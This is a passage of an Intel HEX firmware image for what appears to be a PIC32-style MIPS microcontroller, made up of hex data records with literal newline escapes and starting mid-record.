38ffd\n:101698009c0060105800a48fffff1124884e410f52\n:1016a800dc71648e870051105000a38f0300601412\n:1016b800ffff10260000e2a20100f7262084107c1c\n:1016c800f6ff001e2128a002e204410b0000b090a2\n:1016d80001003282020003245400a3af2188a00233\n:1016e800ff0052327900422e9ffe40140100352639\n:1016f8002110d2020000429004004230e80040105d\n:1017080000000000b951410f21202002010032825f\n:101718002084027c059d043c1d3984242110440248\n:1017280000004290040042308bfe40102188a00245\n:1017380001003126000032822110d20200004290be\n:1017480004004230fbff4054010031265904410b8c\n:10175800ff0052322b55410f00000000dc71648eef\n:101768003b000224884e410f0a8050002d000324bc\n:10177800c200431000a0033c1000a3275c00a3afe5\n:1017880001007e24219000002e0011240600001282\n:10179800ffffd7272120c202000084900400843074\n:1017a80009008014000000001d0040160000000021\n:1017b8001b00511400000000ffffd1a301005226b6\n:1017c800f605410bff005232fcff5110ffffc2a388\n:1017d800dc71648e884e410f0100de27ffff102662\n:1017e800e505410b2084107c5000a38f0100622482\n:1017f80001003282ff0042305000a2af5804410b72\n:101808002188a0025400a38fb4ff7e100100328209\n:10181800080003245400a3af5804410b2188a002f8\n:10182800060000122188e002dfff0424242044007f\n:101838004500032455008310dc71648effff0324e8\n:10184800040043100000e0a2dc71658e3d54410f96\n:10185800212040005c00a38fdcfe77105000a38f8e\n:10186800c6fe60142128a0025800a48f010083241a\n:101878005400a48f0500822cff0063305800a3afea\n:10188800730040149000a38f0000708c2128000082\n:101898005757410f5c00a48f212040009000a38f70\n:1018a8003a51410f04007124000002ae040003ae57\n:1018b8009000b1afe104410b2128a0027f0043143e\n:1018c80000a0033c5800a48fc7fe8010ffff02242d\n:1018d800211080008400bf8f8000be8f7c00b78fee\n:1018e8007800b68f7400b58f7000b48f6c00b38f1a\n:1018f8006800b28f6400b18f6000b08f0800e00309\n:101908008800bd27010082249000a38f0000778cf7\n:10191800ff0042305800a2af04006324a805410b21\n:101928009000a3af0000778c040063249000a3af5d\n:10193800884e410fdc71648effff03242bff431494\n:10194800000000005800a28fa8fe40148400bf8f3a\n:10195800fc04410bffff0224884e410fdc71648eaa\n:10196800780003242a004310580003242a00431453\n:10197800dc71658e2800801200000000884e410f3f\n:10198800dc71648e1c05410b218840000000e2a236\n:10199800884e410fff001032ffff0326201c037cf6\n:1019a800a6ff60100100f7262d000424480044100b\n:1019b8002b00042447004410dc71648e2120c202ed\n:1019c80000008490040084309cff8010ffff632493\n:1019d800ff007030010010267e06410b2180f002c6\n:1019e800000063900400633095ff6010ffff03243c\n:1019f800dc71648e0100f726884e410fffffe2a2da\n:101a0800f7fff0562118c2021206410bffff03240c\n:101a1800daff8012dc71658e3d54410f21204000b1\n:101a28002805410b21f000003d54410f21202002e0\n:101a38003905410b23101e000000628c040063244a\n:101a48009000a3af00005ea4e104410b2128a0028e\n:101a58000000718c5c00a48f212800009957410f69\n:101a680004007024000022ae9000b0afe104410be6\n:101a78002128a0029705410b02003526dc71648cf1\n:101a88001000a2a31000a327884e410f5c00a3af4b\n:101a9800ffff10262084107ce205410b1100a327cc\n:101aa800884e410fdc71648e33fe4212ffff03241f\n:101ab800a5ff43505800a28f00a0033cdc71658c41\n:101ac8003d54410f21204000fc04410b5800a28fd7\n:101ad800dc71648e010022a2884e410f0200372675\n:101ae800feff0326201c037cb5ff60142120c202e0\n:081af8001206410bffff03245d\n:020000040000fa\n:020000041d04d9\n:101b0000c0ffbd273c00bfaf3800beaf3400b0af50\n:101b100021f0a0034000c4af4400c5af4800c6afe9\n:101b20004c00c7af5400c38f6400c28f2800c3a30a\n:101b30002c00c2a31800c0af2000c0a32100c0a386\n:101b40006000c28f05004010000000000100022468\n:101b50002200c2a3d906410b0000000002000224ab\n:101b60002200c2a32200c3934c00c28f180062005f\n:101b70005800c28f1000a2af5c00c28f1400a2af49\n:101b80004000c48f4400c58f00a0023cdc1c4624ea\n:101b9000123800005208410f000000009880828f28\n:101ba0000400401000000000211000009607410bc7\n:101bb000000000005800c28f060040100000000026\n:101bc00001000424ff0d410f000000000507410b38\n:101bd000000000000507410b000000005800c28f04\n:101be0000c0040100000000021200000ff0d410ffc\n:101bf00000000000211840005800c28f2b10430045\n:101c00000400401000000000211000009607410b66\n:101c10000000000088bf023ca061428c40004230be\n:101c2000eeff401000000000f480828f040040109e\n:101c300000000000211000009607410b000000008a\n:101c40007607410b000000002000c0a31c00c0afbd\n:101c50001c00c28f1800c2af4207410b00000000f9\n:101c600000a0023cdc1c43241800c28f211062003b\n:101c700000004290218040001c00c28fc210020070\n:101c80005000c38f211062000000429021184000d4\n:101c90001c00c28f27100200070042302120600084\n:101ca0002128400045ba400f00000000060002163f\n:101cb000000000001c00c28f010042241c00c2afc3\n:101cc0003707410b000000001800c38f1c00c28fb3\n:101cd000231062001800c2af1c00c0af2800c393dd\n:101ce0001c00c28f050062140000000001000224e5\n:101cf0002000c2a34a07410b000000001800c28f59\n:101d0000010042241800c2af2200c3934c00c28fce\n:101d1000180062001800c28f121800002b10430038\n:101d2000cfff4014000000002800c2931800c38faa\n:101d300023106200010042241800c2af2000c293a9\n:101d400003004010000000007907410b0000000074\n:101d50002100c29304004010000000002110000088\n:101d60009607410b00000000010002242100c2a3dd\n:101d70001800c0af6e07410b0000000000a0023c3d\n:101d8000dc1c43241800c28f211062000000429026\n:101d900001004238ff00433000a0023cdc1c442418\n:101da0001800c28f21108200000043a01800c28fcb\n:101db000010042241800c2af2200c3934c00c28f1e\n:101dc000180062001800c28f121800002b10430088\n:101dd000eaff4014000000002800c2939aff40145c\n:101de000000000002c00c393010002240c006214c8\n:101df000000000001800c38f00a0023cdc1c42243d\n:101e0000211062004800c48f212840004c00c68f7a\n:101e100063b9400f000000009607410b000000006e\n:101e20001800c38f00a0023cdc1c42242110620079\n:101e30004800c48f212840004c00c68f494a410ffa\n:101e4000000000004800c38f4c00c28f21106200c8\n:101e5000000040a04c00c28f21e8c0033c00bf8faf\n:101e60003800be8f3400b08f4000bd270800e0036b\n:101e700000000000d8febd272401bfaf2001beaf87\n:101e800021f0a0032801c4af2c01c5af3001c6afbb\n:101e90003401c7af1c00c227212040002801c58f94\n:101ea000e7b8400f000000001800c2af1800c28f52\n:101eb000040040140000000021100000bc07410b8a\n:101ec000000000001c00c2273401c38f1000a3af24\n:101ed0003801c38f1400a3af212040001800c58f24\n:101ee0002c01c68f3001c78fc207410f00000000d0\n:101ef00021e8c0032401bf8f2001be8f2801bd2728\n:101f00000800e00300000000e0fdbd271c02bfaf99\n:101f10001802beaf21f0a0032002c4af2402c5af57\n:101f20002802c6af2c02c7af00a0023cdc564224f8\n:101f3000cc00428c0a004010000000001800c227ac\n:101f4000212040002002c58f2402c68f6dbb400fa8\n:101f5000000000002402c2afde07410b00000000b9\n:101f60001800c227212040002002c58f2402c68ffe\n:101f7000494a410f000000002402c28f1800c32705\n:101f8000211062002a000324000043a03402c28f03\n:101f90001000a2af2802c48f1800c22721284000d9\n:101fa0002c02c68f3002c78ff307410f00000000dc\n:101fb0000100022421e8c0031c02bf8f1802be8f5b\n:101fc0002002bd270800e00300000000e8ffbd2755\n:101fd0001400bfaf1000beaf21f0a0031800c4afc3\n:101fe0001c00c5af2000c6af2400c7af1800c38fc8\n:101ff000cccc023ccdcc4234190062001010000061\n:10200000c2100200c01002001800c2af1800c28f38\n:10201000401002001800c2af1c00c28f00004290a6\n:102020000c8282a31c00c28f01004224188282af5e\n:102030001c00c28f208282af2000c28f2c8282af10\n:102040002400c28fff0042300d8282a32800c28f7d\n:10205000248282af04000224848082a3e00c410f1a\n:102060000000000088bf023c00100324641043ac51\n:1020700088bf023c681040ac80bf023c000a40ac04\n:1020800088bf033c20616294444a027c206162a4c0\n:1020900088bf033cd06062940421027cd06062a4bb\n:1020a00088bf033c60606294010004240421827ca8\n:1020b000606062a488bf033c206162940400027cdb\n:1020c000206162a480bf023c000a40ac80bf023c99\n:1020d000100a40ac1800c28f42100200ffff4324d8\n:1020e00080bf023c200a43ac80bf023c0080033426\n:1020f000080a43ac88bf023c1c000324c41043ac54\n:1021000088bf023c18000324c81043ac88bf023cbf\n:1021100000100324341043ac88bf023c0010032499\n:10212000641043ac88bf023c00100324681043ac29\n:1021300021e8c0031400bf8f1000be8f1800bd2718\n:102140000800e00300000000e0ffbd271c00bfaf57\n:102150001800beaf21f0a0032000c4af2400c5af1b\n:102160002800c6af2c00c7af2800c28f188282afec\n:102170002c00c28f388282af3400c28f408282af7f\n:10218000f48080af1882828f212040002128000037\n:102190002c00c68f6551410f0000000088bf023c33\n:1021a0000002033c741043ac88bf023c2061428ca7\n:1021b000020042301b004010000000002000c28fcf\n:1021c0004210020003000424212840002000c68f92\n:1021d00008000724ce0b410f0000000000a0023cc5\n:1021e000dc5642249c00438c00a0023cdc56422476\n:1021f000f000428c18006200122000001000c4aff2\n:10220000eb51023c1f8542341000c38f190062005d\n:10221000101000004211020021204000400e410f2a\n:102220000000000001000424ff0d410f0000000029\n:102230009b08410b000000003000c28f0b004010d3\n:102240000000000021200000ff0d410f00000000f1\n:10225000211840003000c28f2b10430003004010b3\n:1022600000000000c608410b0000000088bf023ccf\n:10227000d060428c00014230efff401400000000ab\n:10228000af08410b000000003000c28f0b0040106f\n:102290000000000021200000ff0d410f00000000a1\n:1022a000211840003000c28f2b1043000300401063\n:1022b00000000000c608410b0000000088bf023c7f\n:1022c000d060428c00014230efff4010000000005f\n:1022d00001000424ff0d410f000000002000c38f07\n:1022e000cccc023ccdcc423419006200101000006e\n:1022f000c21802002400c28f1800620012180000e9\n:10230000c0100300ffff42242120400001000524eb\n:102310006d0c410f0000000021e8c0031c00bf8fbe\n:102320001800be8f2000bd270800e0030000000059\n:10233000c0fdbd273c02bfaf3802beaf21f0a003f5\n:102340004002c4af010002242c00c2af3000c227fb\n:102350002120400030000524000206246551410f71\n:10236000000000003002c0a300a0023cdc56422462\n:102370009c00448c00a0023cdc564224a400458c06\n:1023800000a0023cdc564224b000428c00a0033c7a\n:10239000dc566324bc0063902140600000a0033c35\n:1023a000dc5663248c00678c00a0033cdc5663245d\n:1023b0008800668c3000c32700a0093c9957292566\n:1023c0001000a9af1400a8af1800a7af1c00a6af5b\n:1023d0002000a0af010006242400a6af2130600039\n:1023e00021384000c006410f000000000100422ccf\n:1023f000ff0042302118400000a0023cdc5642247d\n:10240000b000428c040062140000000021100000a3\n:102410002909410b000000002800c0af1409410b3e\n:10242000000000002800c28f2800c327211062008e\n:1024300008004390300002240200621000000000f7\n:102440002c00c0af2800c28f010042242800c2af78\n:102450003000c22721204000a34a410f00000000a5\n:10246000211840002800c28f2b104300edff4014bc\n:10247000000000002c00c28f04004010000000008b\n:10248000211000002909410b000000003000c22784\n:102490004002c48f212840007f49410f0000000006\n:1024a0000100022421e8c0033c02bf8f3802be8f26\n:1024b0004002bd270800e00300000000e8ffbd2740\n:1024c0001400bfaf1000beaf21f0a0031800c4afce\n:1024d0001c00c5af1c00c28f0000428004004014e5\n:1024e00000000000211000004109410b0000000025\n:1024f0001800c48f1c00c58f7f49410f00000000e9\n:102500000100022421e8c0031400bf8f1000be8f19\n:102510001800bd270800e00300000000f8ffbd27f9\n:102520000400beaf21f0a0030800c4af88bf023c86\n:1025300002000324741043ac88bf023c781040ac06\n:1025400081bf023c00800334049043ac81bf023c55\n:102550000b00033c409043ac0800c28f15004010b4\n:102560000000000088bf023c00080324486043ac20\n:1025700081bf023c00080324649043ac81bf023c4d\n:10258000ffff033c509043ac81bf023c008003340a\n:10259000209043ac81bf023c3f000324109043ac29\n:1025a00081bf023ce4000324009043ac7f09410b4f\n:1025b0000000000088bf023c00080324486043acd0\n:1025c00081bf023c00080324649043ac81bf023cfd\n:1025d000ffff033c509043ac81bf023c00800334ba\n:1025e000209043ac81bf023c03000324109043ac15\n:1025f00081bf023ce4000324009043ac81bf023c55\n:1026000000800334089043ac0000000088bf023c07\n:102610004010428c02004230fcff401000000000dd\n:1026200021e8c0030400be8f0800bd270800e003b6\n:1026300000000000d8ffbd272400bfaf2000beafc0\n:102640001c00b0af21f0a0032800c4af2c00c5af20\n:102650002800c28fffff42244213020001004224df\n:102660001400c2af212000004709410f0000000004\n:1026700001000224988082af2c00c28f0300401416\n:102680000000000001000224888082af00a0023c0c\n:102690005c454424f82b410f000000001000c0af3f\n:1026a000ca09410b000000001000c38f1400c28f44\n:1026b0001b006200f40140001010000012800000b6\n:1026c0000365400f000000003c004224831002001c\n:1026d000ff004330fcff022424106200ff0043305f\n:1026e00088bf023cd060428c0002427cff00423036\n:1026f00040100200ff00423021106200ff00433012\n:102700009480829321106200ff00433000a0023cbd\n:10271000dc24422421100202000043a01000c28fda\n:10272000010042241000c2af1000c38f2800c28fe6\n:102730002b106200dcff401400000000988080af86\n:10274000888080afe00c410f0000000021e8c0034a\n:102750002400bf8f2000be8f1c00b08f2800bd2733\n:102760000800e00300000000d0ffbd272c00bfaf31\n:102770002800beaf21f0a0033000c4af1800c0a3f2\n:102780001c00c0af2000c0af2400c0a73000c28f23\n:102790000120422c0300401400000000002002240d\n:1027a0003000c2af0cbe400f00000000059d023c8f\n:1027b000ec1844241800c227212840001cbe400ffa\n:1027c00000000000059d023cfc184424059d023ccd\n:1027d000081945241800c227213040008cbe400f44\n:1027e00000000000059d023c281944241800c2275f\n:1027f000212840001cbe400f00000000059d023c47\n:10280000fc184424059d023c2c1945241800c227bd\n:10281000213040008cbe400f00000000059d023cae\n:102820003c1944241800c227212840001cbe400f38\n:1028300000000000059d023cfc184424059d023c5c\n:10284000481945241800c227213040008cbe400f93\n:102850000000000000a0023cdc56422487004290a9\n:102860002118400000a0023c801803001871422487\n:10287000211062000000428c059d033c5419642421\n:10288000212840001800c227213040008cbe400f94\n:1028900000000000059d023c3c1944241800c2279a\n:1028a000212840003ebe400f00000000059d023c74\n:1028b0005c1944241800c227212840001cbe400f88\n:1028c00000000000059d023cfc184424059d023ccc\n:1028d000681945241800c227213040008cbe400fe3\n:1028e0000000000000a0023cdc564224a000429000\n:1028f0002118400000a0023c80180300007242240e\n:10290000211062000000428c059d033c5419642490\n:10291000212840001800c227213040008cbe400f03\n:1029200000000000059d023c5c1944241800c227e9\n:10293000212840003ebe400f00000000059d023ce3\n:102940007c1944241800c227212840001cbe400fd7\n:1029500000000000059d023cfc184424059d023c3b\n:10296000881945241800c227213040008cbe400f32\n:102970000000000000a0023cdc564224a400428c6f\n:102980001c00c327212060000a000524059d033c8c\n:10299000a4196624213840004357410f000000006d\n:1029a0001c00c227059d033c5419642421284000c3\n:1029b0001800c227213040008cbe400f00000000ec\n:1029c000059d023c7c1944241800c22721284000a0\n:1029d0003ebe400f00000000059d023c2819442423\n:1029e0001800c227212840003ebe400f0000000012\n:1029f000059d023ca81944241800c2272128400044\n:102a00001cbe400f00000000059d023cfc18442441\n:102a1000059d023cb01945241800c2272130400012\n:102a20008cbe400f00000000059d023cd4194424d8\n:102a30001800c227212840001cbe400f00000000e3\n:102a4000059d023cfc184424059d023ce0194524e8\n:102a50001800c227213040008cbe400f000000004b\n:102a60001900c22721200000212800002130400049\n:102a7000362b410f000000001900c293059d033c56\n:102a800054196424212840001800c2272130400036\n:102a9000a7be400f00000000059d023cd41944244d\n:102aa0001800c227212840003ebe400f0000000051\n:102ab000059d023cfc1944241800c227212840002f\n:102ac0001cbe400f00000000059d023cfc18442481\n:102ad000059d023c041a45241800c22721304000fd\n:102ae0008cbe400f000000001900c2270100042422\n:102af0002128000021304000362b410f000000004b\n:102b00001900c293059d033c5419642421284000f8\n:102b10001800c22721304000a7be400f000000006f\n:102b2000059d023cfc1944241800c22721284000be\n:102b30003ebe400f00000000059d023ca819442441\n:102b40001800c227212840003ebe400f00000000b0\n:102b5000059d023c201a44241800c2272128400069\n:102b60001cbe400f00000000059d023cfc184424e0\n:102b7000059d023c281a45241800c2272130400038\n:102b80008cbe400f00000000059d023c441a442406\n:102b90001800c227212840001cbe400f0000000082\n:102ba000059d023cfc184424059d023c501a452416\n:102bb0001800c227213040008cbe400f00000000ea\n:102bc0001800c2271000a2af059d023c54194424ee\n:102bd00000a0023cdc244524fcff06243000c78f03\n:102be00001bf400f00000000059d023c441a442430\n:102bf0001800c227212840003ebe400f0000000000\n:102c0000059d023c701a44241800c2272128400068\n:102c10001cbe400f00000000059d023cfc1844242f\n:102c2000059d023c801a45241800c227213040002f\n:102c30008cbe400f000000001800c2271000a2af99\n:102c4000059d023c5419442400a0023cdc24452488\n:102c5000020006243000c78f01bf400f00000000b3\n:102c6000059d023c701a44241800c2272128400008\n:102c70003ebe400f00000000059d023cb41a4424f3\n:102c80001800c227212840001cbe400f0000000091\n:102c9000059d023cfc184424059d023cc01a4524b5\n:102ca0001800c227213040008cbe400f00000000f9\n:102cb0001800c2271000a2af059d023c54194424fd\n:102cc00000a0023cdc244524010006243000c78f0c\n:102cd00001bf400f00000000059d023cb41a4424cf\n:102ce0001800c227212840003ebe400f000000000f\n:102cf000059d023c201a44241800c22721284000c8\n:102d00003ebe400f00000000059d023cec1844242c\n:102d10001800c227212840003ebe400f00000000de\n:102d2000059d023ce81a4424059d023cec1a45240a\n:102d30002013410f0000000021e8c0032c00bf8fca\n:102d40002800be8f3000bd270800e003000000000f\n:102d5000c8ffbd273400bfaf3000beaf21f0a003d5\n:102d60001800c0af2000c0afe00c410f0000000011\n:102d7000059d023c001b428c1c00c2afc00b410be6\n:102d800000000000059d023c041b448c1c00c58f04\n:102d9000af45410f0000000021184000059d023c96\n:102da00021206000081b458cd147410f0000000026\n:102db00021204000e353410f000000002400c2af77\n:102dc0002400c28f42100200030004242128400086\n:102dd0002400c68f08000724ce0b410f000000001e\n:102de000212000004709410f000000000100023cc3\n:102df000a0864434400e410f000000001000c0af18\n:102e00001400c0af940b410b000000000365400f9d\n:102e1000000000002800c2af1000c28fd107422c72\n:102e200008004014000000002800c38f1400c28f67\n:102e30002b10430003004010000000002800c28f48\n:102e40001400c2af1000c28f010042241000c2afb4\n:102e50001000c28f1027422cecff4014000000002d\n:102e60001c00c48fe353410f00000000059d033c8c\n:102e7000f01a6424212840008513410f000000004f\n:102e8000059d023cf81a44241400c58f8513410f98\n:102e9000000000001400c38f1800c28f2b104300e5\n:102ea00007004010000000001400c28f1800c2afdd\n:102eb0001c00c48fe353410f000000002000c2af8c\n:102ec000e00c410f0000000088bf023c0200032418\n:102ed000741043ac88bf023c781040ac81bf023c08\n:102ee00000800334049043ac059d023c1c00c48f59\n:102ef0000c1b458c7744410f000000001c00c2af42\n:102f0000059d023c1c00c48f101b458c8552410f4f\n:102f1000000000009bff4004000000002000c28f62\n:102f200021e8c0033400bf8f3000be8f3800bd27ba\n:102f30000800e00300000000e8ffbd271400bfaf59\n:102f40001000beaf21f0a003211880001c00c5af07\n:102f50002000c6af2110e0001800c3a32400c2a3c4\n:102f600088bf033c606062940421027c606062a4bc\n:102f7000e00c410f0000000088bf023c4000033c11\n:102f8000641043ac88bf023c681040ac88bf023c70\n:102f90004000033c341043ac80bf023c008003344b\n:102fa000043843ac2000c38fcccc023ccdcc42349f\n:102fb0001900620010100000c2100200c0100200d0\n:102fc000c218020080bf023c203843ac2000c38fef\n:102fd000cccc023ccdcc4234190062001010000071\n:102fe000c2100200c0100200c218020080bf023ce2\n:102ff000103843ac80bf023c0b800334003843ac34\n:1030000088bf023c4000033c641043ac88bf023cd4\n:10301000681040ac88bf023c4000033c341043ac15\n:1030200080bf023c00800334043843ac88bf033cbb\n:10303000e060629401000424c45a827ce06062a4cf\n:10304000fc8080afffff0224348082a38880828fbf\n:103050000c0040100000000088bf033c2061629417\n:1030600001000424444a827c206162a488bf033c9e\n:10307000a0616294444a027ca06162a4670c410b87\n:103080000000000088bf033c20616294444a027c37\n:10309000206162a42400c293a08082a31800c2937e\n:1030a00008804234c88082af2000c38f1c00c28fca\n:1030b0001b006200f401400010100000121000001c\n:1030c0002000c38f1b006200f401400010100000bc\n:1030d00012180000cccc023ccdcc42341900620066\n:1030e0001010000002110200c0100200cc8082af5c\n:1030f000cc80828fd08082afd080838f80bf023c13\n:10310000203843accc80838f80bf023c103843ac66\n:10311000c880838f80bf023c003843ac80bf023c34\n:10312000000a40ac80bf023c100a40ac2000c38fb4\n:10313000cccc023ccdcc423419006200101000000f\n:1031400002110200c0100200ffff432480bf023cb6\n:10315000200a43ac80bf023c00800334080a43ac21\n:1031600088bf023c1c00033ce41043ac88bf023c17\n:103170001400033ce81043ac88bf023c4000033c11\n:10318000341043ac88bf023c4000033c641043aca5\n:1031900088bf023c4000033c681043ac21e8c003f8\n:1031a0001400bf8f1000be8f1800bd270800e00379\n:1031b00000000000f8ffbd270400beaf21f0a0030f\n:1031c0000800c4af0c00c5af0c00c28fff00423036\n:1031d00001004230ff00443088bf033c3010628c55\n:1031e0000484827c301062ac88bf023c1c00032443\n:1031f000d41043ac88bf023c18000324d81043ac61\n:1032000080bf023c000c40ac80bf023c100c40acc4\n:1032100080bf023c0800c38f200c43ac80bf023c3f\n:1032200000800334080c43ac88bf023c0100033c1f\n:10323000641043ac88bf023c0100033c681043acff\n:1032400088bf033ca06162948431027ca06162a4c7\n:1032500088bf033ce060629401000424c45a827c6d\n:10326000e06062a421e8c0030400be8f0800bd270f\n:103270000800e00300000000f8ffbd270400beaf17\n:1032800021f0a0030800c4af2110a0000c00c2a3cd\n:1032900001000224308082af000000003080828f65\n:1032a000feff40140000000088bf033c20616294d0\n:1032b00001000424444a827c206162a40c00c29371\n:1032c00001004230ff00443088bf033ca06162949b\n:1032d000444a827ca06162a40800c28f40100200b0\n:1032e0000800c2af000000003c82838f0800c28f3c\n:1032f0002b104300fcff40100000000088bf033c7f\n:1033000020616294444a027c206162a421e8c003e7\n:103310000400be8f0800bd270800e0030000000085\n:10332000f8ffbd270400beaf21f0a0030800c4af22\n:1033300001000224308082af000000003080828fc4\n:10334000feff4014000000000800c28f4010020081\n:103350000800c2af000000003c82838f0800c28fcb\n:103360002b104300fcff40100000000021e8c003c8\n:103370000400be8f0800bd270800e0030000000025\n:10338000e8ffbd271400bfaf1000beaf21f0a003bf\n:10339000140d410f0000000088bf023c0010032400\n:1033a000641043ac88bf023c681040ac80bf023c54\n:1033b000000a40ac88bf023c4000033c641043acb0\n:1033c00088bf023c681040ac88bf023c4000033c10\n:1033d000341043ac80bf023c00800334043843ac5b\n:1033e00088bf033c20616294010004244408827c6d\n:1033f000206162a488bf033c206162940100042420\n:103400000400827c206162a488bf033c2061629436\n:1034100001000424444a827c206162a488bf033cea\n:10342000a0616294444a027ca06162a488bf023c0d\n:103430000002033c781043ac21e8c0031400bf8fa6\n:103440001000be8f1800bd270800e0030000000038\n:10345000f8ffbd270400beaf21f0a00388bf023ce7\n:103460000100033c641043ac88bf023c681040acd0\n:1034700080bf023c000c40ac88bf033ca06162945a\n:10348000010004248431827ca06162a421e8c0038d\n:103490000400be8f0800bd270800e0030000000004\n:1034a000e0ffbd271c00bfaf1800beaf21f0a00396\n:1034b00001000424ff0d410f00000000010004245e\n:1034c000400e410f0000000021200000ff0d410fc1\n:1034d000000000001000c2af21200000170e410fb5\n:1034e00000000000059d033c8c4d64242128400011\n:1034f0008513410f00000000059d023c984d4424b7\n:103500001000c58f8513410f00000000059d023c8f\n:10351000a44d4424059d023ca84d45242013410f91\n:103520000000000001000424ff0d410f0000000016\n:103530000a000424400e410f00000000212000007a\n:10354000ff0d410f000000001000c2af212000005d\n:10355000170e410f00000000059d033c8c4d6424b4\n:10356000212840008513410f00000000059d023c0a\n:10357000ac4d44241000c58f8513410f000000009e\n:10358000059d023ca44d4424059d023ca84d4524c4\n:103590002013410f0000000001000424ff0d410f23\n:1035a0000000000064000424400e410f00000000f1\n:1035b00021200000ff0d410f000000001000c2afed\n:1035c00021200000170e410f00000000059d033c64\n:1035d0008c4d6424212840008513410f0000000019\n:1035e000059d023cb84d44241000c58f8513410f42\n:1035f00000000000059d023ca44d4424059d023cb2\n:10360000a84d45242013410f0000000001000424b0\n:10361000ff0d410f00000000e8030424400e410f9d\n:103620000000000021200000ff0d410f00000000fd\n:103630001000c2af21200000170e410f0000000053\n:10364000059d033c8c4d6424212840008513410fc7\n:1036500000000000059d023cc84d44241000c58fa9\n:103660008513410f00000000059d023ca44d442439\n:10367000059d023ca84d45242013410f0000000089\n:1036800001000424ff0d410f000000001027042456\n:10369000400e410f0000000021200000ff0d410fef\n:1036a000000000001000c2af21200000170e410fe3\n:1036b00000000000059d033c8c4d6424212840003f\n:1036c0008513410f00000000059d023cd84d4424a5\n:1036d0001000c58f8513410f00000000059d023cbe\n:1036e000a44d4424059d023ca84d45242013410fc0\n:1036f0000000000001000424ff0d410f0000000045\n:103700000100023ca0864434400e410f000000003e\n:1037100021200000ff0d410f000000001000c2af8b\n:1037200021200000170e410f00000000059d033c02\n:103730008c4d6424212840008513410f00000000b7\n:10374000059d023ce84d44241000c58f8513410fb0\n:1037500000000000059d023ca44d4424059d023c50\n:10376000a84d45242013410f00000000010004244f\n:10377000ff0d410f000000000f00023c40424434a6\n:10378000400e410f0000000021200000ff0d410ffe\n:10379000000000001000c2af21200000170e410ff2\n:1037a00000000000059d033c8c4d6424212840004e\n:1037b0008513410f00000000059d023cfc4d442490\n:1037c0001000c58f8513410f00000000059d023ccd\n:1037d000a44d4424059d023ca84d45242013410fcf\n:1037e0000000000021e8c0031c00bf8f1800be8f3e\n:1037f0002000bd270800e00300000000f0ffbd2707\n:103800000c00beaf21f0a003211080001000c2a365\n:1038100080bf023c100e428c0000c2af1000c29369\n:10382000030040100000000080bf023c100e40acbe\n:10383000050002240000c38f1b006200f401400059\n:10384000101000001210000021e8c0030c00be8f11\n:103850001000bd270800e00300000000f0ffbd27b6\n:103860000c00beaf21f0a003211080001000c2a305\n:1038700080bf023c100e428c0000c2af1000c29309\n:10388000030040100000000080bf023c100e40ac5e\n:103890000000c28f0011020021e8c0030c00be8f9f\n:1038a0001000bd270800e00300000000f8ffbd275e\n:1038b0000400beaf21f0a0030800c4af0800c28f0f\n:1038c000feff42240800c2af80bf023c100e40ac95\n:1038d0000000000080bf023c100e438c0800c28f25\n:1038e0002b106200fbff40140000000021e8c00321\n:1038f0000400be8f0800bd270800e00300000000a0\n:10390000f0ffbd270c00beaf21f0a0031000c4af34\n:10391000080002241000c38f18006200121000007b\n:103920000000c2af000000000000c28fffff432470\n:103930000000c3affcff40140000000021e8c003fa\n:103940000c00be8f1000bd270800e003000000003f\n:10395000b8ffbd274400bfaf4000beaf3c00b0afd2\n:1039600021f0a0034800c4af4c00c5af5000c6af63\n:103970002120a003218080001c00c0af200004246f\n:10398000ffff84242800c4af2000042421408000cd\n:103990002148000042270800c068090025688d0002\n:1039a000c0600800200004242110800021180000bd\n:1039b00042270200c058030025588b00c050020067\n:1039c0002000022407004224c2100200c01002009e\n:1039d00023e8a2031000a227000042242c00c2af5b\n:1039e0001400c0af7e0e410b000000001400c28f17\n:1039f000010042241400c2af1400c38f5000c28fd4\n:103a00002b10620008004010000000001400c28f5c\n:103a1000801002004800c38f211062000000428c19\n:103a2000f2ff4010000000001400c28f060040109a\n:103a300000000000059d023c743344241400c58f2f\n:103a40008513410f000000001000c0af1800c0af88\n:103a50009d0f410b000000001400c38f1000c28fa7\n:103a600021106200801002004800c38f2110620004\n:103a70000000428c3000c2afc80002243000c38f67\n:103a80002b10620093004014000000005802022432\n:103a90003000c38f2b1043008e0040140000000044\n:103aa0001000c38f1400c28f211862005000c28f13\n:103ab000f9ff42242b106200860040100000000035\n:103ac0002000c0af2400c0a3059d023c94334424d1\n:103ad0003000c58f8513410f000000002400c29301\n:103ae000401002002400c2a31400c38f1000c28f34\n:103af0002110620001004224801002004800c38fa0\n:103b0000211062000000428c3000c2af0f0002247e\n:103b10003000c38f2b10620006004014000000002c\n:103b2000820002243000c38f2b1043000900401094\n:103b3000000000001c00c0af059d023ca4334424db\n:103b40003000c58f8513410f00000000200f410b8e\n:103b5000000000001000c28f0300401400000000ad\n:103b6000010002241c00c2af1400c38f1000c28fda\n:103b700021106200801002004c00c38f21106200ef\n:103b80000000428c3000c2af260202243000c38ff6\n:103b90002b1062001000401400000000ee0202240e\n:103ba0003000c38f2b1043000b00401400000000b6\n:103bb0002400c293010042242400c2a3059d023cbc\n:103bc000bc3344243000c58f8513410f0000000032\n:103bd0000f0f410b00000000960002243000c38f3d\n:103be0002b1062000d004014000000009001022420\n:103bf0003000c38f2b104300080040140000000069\n:103c0000059d023cc83344243000c58f8513410f05\n:103c1000000000000f0f410b000000001c00c0afaf\n:103c2000059d023cd43344243000c58f8513410fd9\n:103c300000000000200f410b000000002000c28f98\n:103c4000010042242000c2af1000c28f01004224b4\n:103c50001000c2af1400c38f1000c28f2118620081\n:103c60005000c28f2b1062000500401000000000c1\n:103c70002000c28f0800422c98ff40140000000072\n:103c80002000c38f0800022410006214000000000e\n:103c90001800c28f010043241800c3af2c00c38f4b\n:103ca000211062002400c393000043a02400c293ab\n:103cb000059d033ce4336424212840008513410f13\n:103cc000000000009a0f410b000000009a0f410b0a\n:103cd000000000001000c28f330040100000000000\n:103ce0001400c38f1000c28f21186200ff3f023cf6\n:103cf000ffff423421106200801002004c00c38f8d\n:103d0000211062000000428c3000c2af2602022463\n:103d10003000c38f2b1062000d0040140000000023\n:103d2000ee0202243000c38f2b1043000800401421\n:103d300000000000059d023cec3344243000c58f98\n:103d40008513410f000000006a0f410b00000000c6\n:103d5000960002243000c38f2b1062000d00401427\n:103d600000000000900102243000c38f2b1043009c\n:103d70000800401400000000059d023cfc33442470\n:103d80003000c58f8513410f000000006a0f410b02\n:103d900000000000059d023c0c3444243000c58f17\n:103da0008513410f000000001400c38f1000c28f64\n:103db00021106200801002004800c38f21106200b1\n:103dc0000000428c3000c2af0f0002243000c38fcd\n:103dd0002b1062000d00401400000000820002243d\